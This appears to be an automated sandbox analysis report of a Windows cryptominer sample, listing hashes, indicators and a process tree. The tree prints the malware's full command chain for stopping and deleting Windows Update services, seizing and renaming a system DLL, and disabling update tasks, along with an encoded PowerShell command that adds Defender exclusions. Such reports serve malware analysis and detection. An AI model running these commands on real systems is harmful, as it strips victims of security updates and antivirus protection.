Analysis
-
max time kernel
300s -
max time network
298s -
platform
windows10-1703_x64 -
resource
win10-20220722-en -
resource tags
arch:x64arch:x86image:win10-20220722-enlocale:en-usos:windows10-1703-x64system -
submitted
03-08-2022 04:15
Behavioral task
behavioral1
Sample
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
Resource
win7-20220718-en
General
-
Target
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
-
Size
7.1MB
-
MD5
322cf2f6a67420e4eb53f29263a639ba
-
SHA1
bc91f56c260ff4484f7fb0d33a3d351d3d812781
-
SHA256
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025
-
SHA512
3e58b83f26950059901ad1cbb20a06351b7a815d17a3e65a0a84061b7d0d9af588a2685786c28642b1bb76575c81b272d10a1b1dede515b643b27ea52deadcc7
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
Processes:
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exeupdater.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ updater.exe -
XMRig Miner payload 6 IoCs
Processes:
resource yara_rule behavioral2/memory/2252-467-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral2/memory/2252-468-0x000000014036EAC4-mapping.dmp xmrig behavioral2/memory/2252-469-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral2/memory/2252-471-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral2/memory/2252-479-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral2/memory/2252-480-0x0000000140000000-0x0000000140809000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
conhost.execonhost.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts conhost.exe File opened for modification C:\Windows\system32\drivers\etc\hosts conhost.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2204 updater.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 4780 takeown.exe 3724 icacls.exe 4568 takeown.exe 4816 icacls.exe -
Stops running service(s) 3 TTPs
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion updater.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion updater.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 4780 takeown.exe 3724 icacls.exe 4568 takeown.exe 4816 icacls.exe -
Processes:
resource yara_rule behavioral2/memory/2148-127-0x0000000000400000-0x000000000106F000-memory.dmp themida behavioral2/memory/2148-128-0x0000000000400000-0x000000000106F000-memory.dmp themida behavioral2/memory/2148-130-0x0000000000400000-0x000000000106F000-memory.dmp themida C:\Program Files\Google\Chrome\updater.exe themida C:\Program Files\Google\Chrome\updater.exe themida behavioral2/memory/2204-271-0x0000000000400000-0x000000000106F000-memory.dmp themida behavioral2/memory/2204-273-0x0000000000400000-0x000000000106F000-memory.dmp themida -
Processes:
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA updater.exe -
Drops file in System32 directory 4 IoCs
Processes:
conhost.exepowershell.EXEpowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log conhost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exeupdater.exepid process 2148 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe 2204 updater.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
conhost.exedescription pid process target process PID 2136 set thread context of 2252 2136 conhost.exe explorer.exe -
Drops file in Program Files directory 3 IoCs
Processes:
powershell.execonhost.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe powershell.exe File opened for modification C:\Program Files\Google\Chrome\updater.exe powershell.exe File created C:\Program Files\Google\Libs\WR64.sys conhost.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 3784 sc.exe 1992 sc.exe 2716 sc.exe 4068 sc.exe 4916 sc.exe 3928 sc.exe 3352 sc.exe 4120 sc.exe 3344 sc.exe 1588 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEconhost.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ conhost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE -
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 4180 reg.exe 2788 reg.exe 4252 reg.exe 4232 reg.exe 3292 reg.exe 3600 reg.exe 3204 reg.exe 2708 reg.exe 4320 reg.exe 4644 reg.exe 3972 reg.exe 2416 reg.exe 2660 reg.exe 3528 reg.exe 4796 reg.exe 4976 reg.exe 4308 reg.exe 3964 reg.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.execonhost.exepowershell.exepowershell.EXEpowershell.execonhost.exeexplorer.exepid process 3580 powershell.exe 3580 powershell.exe 3580 powershell.exe 2368 conhost.exe 4884 powershell.exe 4884 powershell.exe 4884 powershell.exe 4156 powershell.EXE 4156 powershell.EXE 4156 powershell.EXE 4372 powershell.exe 4372 powershell.exe 4372 powershell.exe 2136 conhost.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 624 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.execonhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exedescription pid process Token: SeDebugPrivilege 3580 powershell.exe Token: SeIncreaseQuotaPrivilege 3580 powershell.exe Token: SeSecurityPrivilege 3580 powershell.exe Token: SeTakeOwnershipPrivilege 3580 powershell.exe Token: SeLoadDriverPrivilege 3580 powershell.exe Token: SeSystemProfilePrivilege 3580 powershell.exe Token: SeSystemtimePrivilege 3580 powershell.exe Token: SeProfSingleProcessPrivilege 3580 powershell.exe Token: SeIncBasePriorityPrivilege 3580 powershell.exe Token: SeCreatePagefilePrivilege 3580 powershell.exe Token: SeBackupPrivilege 3580 powershell.exe Token: SeRestorePrivilege 3580 powershell.exe Token: SeShutdownPrivilege 3580 powershell.exe Token: SeDebugPrivilege 3580 powershell.exe Token: SeSystemEnvironmentPrivilege 3580 powershell.exe Token: SeRemoteShutdownPrivilege 3580 powershell.exe Token: SeUndockPrivilege 3580 powershell.exe Token: SeManageVolumePrivilege 3580 powershell.exe Token: 33 3580 powershell.exe Token: 34 3580 powershell.exe Token: 35 3580 powershell.exe Token: 36 3580 powershell.exe Token: SeDebugPrivilege 2368 conhost.exe Token: SeShutdownPrivilege 4040 powercfg.exe Token: SeCreatePagefilePrivilege 4040 powercfg.exe Token: SeShutdownPrivilege 4844 powercfg.exe Token: SeCreatePagefilePrivilege 4844 powercfg.exe Token: SeShutdownPrivilege 2108 powercfg.exe Token: SeCreatePagefilePrivilege 2108 powercfg.exe Token: SeShutdownPrivilege 3720 powercfg.exe Token: SeCreatePagefilePrivilege 3720 powercfg.exe Token: SeTakeOwnershipPrivilege 4780 takeown.exe Token: SeDebugPrivilege 4884 powershell.exe Token: SeIncreaseQuotaPrivilege 4884 powershell.exe Token: SeSecurityPrivilege 4884 powershell.exe Token: SeTakeOwnershipPrivilege 4884 powershell.exe Token: SeLoadDriverPrivilege 4884 powershell.exe Token: SeSystemProfilePrivilege 4884 powershell.exe Token: SeSystemtimePrivilege 4884 powershell.exe Token: SeProfSingleProcessPrivilege 4884 powershell.exe Token: SeIncBasePriorityPrivilege 4884 powershell.exe Token: SeCreatePagefilePrivilege 4884 powershell.exe Token: SeBackupPrivilege 4884 powershell.exe Token: SeRestorePrivilege 4884 powershell.exe Token: SeShutdownPrivilege 4884 powershell.exe Token: SeDebugPrivilege 4884 powershell.exe Token: SeSystemEnvironmentPrivilege 4884 powershell.exe Token: SeRemoteShutdownPrivilege 4884 powershell.exe Token: SeUndockPrivilege 4884 powershell.exe Token: SeManageVolumePrivilege 4884 powershell.exe Token: 33 4884 powershell.exe Token: 34 4884 powershell.exe Token: 35 4884 powershell.exe Token: 36 4884 powershell.exe Token: SeIncreaseQuotaPrivilege 4884 powershell.exe Token: SeSecurityPrivilege 4884 powershell.exe Token: SeTakeOwnershipPrivilege 4884 powershell.exe Token: SeLoadDriverPrivilege 4884 powershell.exe Token: SeSystemProfilePrivilege 4884 powershell.exe Token: SeSystemtimePrivilege 4884 powershell.exe Token: SeProfSingleProcessPrivilege 4884 powershell.exe Token: SeIncBasePriorityPrivilege 4884 powershell.exe Token: SeCreatePagefilePrivilege 4884 powershell.exe Token: SeBackupPrivilege 4884 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.execonhost.execmd.execmd.exedescription pid process target process PID 2148 wrote to memory of 2368 2148 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe conhost.exe PID 2148 wrote to memory of 2368 2148 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe conhost.exe PID 2148 wrote to memory of 2368 2148 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe conhost.exe PID 2368 wrote to memory of 3580 2368 conhost.exe powershell.exe PID 2368 wrote to memory of 3580 2368 conhost.exe powershell.exe PID 2368 wrote to memory of 5068 2368 conhost.exe cmd.exe PID 2368 wrote to memory of 5068 2368 conhost.exe cmd.exe PID 2368 wrote to memory of 1584 2368 conhost.exe cmd.exe PID 2368 wrote to memory of 1584 2368 conhost.exe cmd.exe PID 5068 wrote to memory of 3928 5068 cmd.exe sc.exe PID 5068 wrote to memory of 3928 5068 cmd.exe sc.exe PID 1584 wrote to memory of 4040 1584 cmd.exe powercfg.exe PID 1584 wrote to memory of 4040 1584 cmd.exe powercfg.exe PID 5068 wrote to memory of 3352 5068 cmd.exe sc.exe PID 5068 wrote to memory of 3352 5068 cmd.exe sc.exe PID 5068 wrote to memory of 3784 5068 cmd.exe sc.exe PID 5068 wrote to memory of 3784 5068 cmd.exe sc.exe PID 5068 wrote to memory of 1992 5068 cmd.exe sc.exe PID 5068 wrote to memory of 1992 5068 cmd.exe sc.exe PID 5068 wrote to memory of 3344 5068 cmd.exe sc.exe PID 5068 wrote to memory of 3344 5068 cmd.exe sc.exe PID 5068 wrote to memory of 3528 5068 cmd.exe reg.exe PID 5068 wrote to memory of 3528 5068 cmd.exe reg.exe PID 5068 wrote to memory of 4796 5068 cmd.exe reg.exe PID 5068 wrote to memory of 4796 5068 cmd.exe reg.exe PID 1584 wrote to memory of 4844 1584 cmd.exe powercfg.exe PID 1584 wrote to memory of 4844 1584 cmd.exe powercfg.exe PID 5068 wrote to memory of 4976 5068 cmd.exe reg.exe PID 5068 wrote to memory of 4976 5068 cmd.exe reg.exe PID 1584 wrote to memory of 2108 1584 cmd.exe powercfg.exe PID 1584 wrote to memory of 2108 1584 cmd.exe powercfg.exe PID 5068 wrote to memory of 4180 5068 cmd.exe reg.exe PID 5068 wrote to memory of 4180 5068 cmd.exe reg.exe PID 5068 wrote to memory of 3600 5068 cmd.exe reg.exe PID 5068 wrote to memory of 3600 5068 cmd.exe reg.exe PID 1584 wrote to memory of 3720 1584 cmd.exe powercfg.exe PID 1584 wrote to memory of 3720 1584 cmd.exe powercfg.exe PID 5068 wrote to memory of 4780 5068 cmd.exe takeown.exe PID 5068 wrote to memory of 4780 5068 cmd.exe takeown.exe PID 5068 wrote to memory of 3724 5068 cmd.exe icacls.exe PID 5068 wrote to memory of 3724 5068 cmd.exe icacls.exe PID 2368 wrote to memory of 4884 2368 conhost.exe powershell.exe PID 2368 wrote to memory of 4884 2368 conhost.exe powershell.exe PID 5068 wrote to memory of 4320 5068 cmd.exe reg.exe PID 5068 wrote to memory of 4320 5068 cmd.exe reg.exe PID 5068 wrote to memory of 4308 5068 cmd.exe reg.exe PID 5068 wrote to memory of 4308 5068 cmd.exe reg.exe PID 5068 wrote to memory of 2788 5068 cmd.exe reg.exe PID 5068 wrote to memory of 2788 5068 cmd.exe reg.exe PID 5068 wrote to memory of 4644 5068 cmd.exe reg.exe PID 5068 wrote to memory of 4644 5068 cmd.exe reg.exe PID 5068 wrote to memory of 428 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 428 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 908 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 908 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 864 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 864 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 4420 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 4420 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 4636 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 4636 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 216 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 216 5068 cmd.exe schtasks.exe PID 5068 wrote to memory of 200 5068 cmd.exe schtasks.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdAB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBhAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAZwBuACMAPgA="3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
